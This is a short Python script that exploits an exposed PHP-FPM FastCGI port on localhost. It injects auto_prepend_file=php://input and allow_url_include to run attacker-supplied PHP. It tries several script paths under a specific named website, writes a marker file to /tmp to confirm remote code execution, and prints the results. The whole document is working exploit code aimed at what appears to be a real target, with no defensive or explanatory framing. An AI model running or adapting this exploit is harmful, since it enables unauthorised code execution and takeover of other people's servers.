import sys
sys.path.insert(0,"/tmp")
from fcgi_exploit import fcgi_run
body=b"""<?php echo "MIXMIX uid=".posix_getuid()." ".get_current_user(); file_put_contents("/tmp/mix_rce_ok.txt","MIXOK ".get_current_user()); ?>"""
for sf in ["/var/www/mix.h6m.ru/data/www/mix.h6m.ru/index.php","/var/www/mix.h6m.ru/index.php","/var/www/mix.h6m.ru/data/www/mix.h6m.ru/test.php"]:
    try:
        out=fcgi_run("127.0.0.1",9000,sf,"auto_prepend_file=php://input",body,extra={"PHP_ADMIN_VALUE":"allow_url_include=1"})
        print(sf,"->",out.decode("utf-8","replace")[:200].replace("\n"," "))
    except Exception as e:
        print(sf,"-> ERR",type(e).__name__,str(e)[:60])
import os
print("marker:", open("/tmp/mix_rce_ok.txt").read() if os.path.exists("/tmp/mix_rce_ok.txt") else "none")
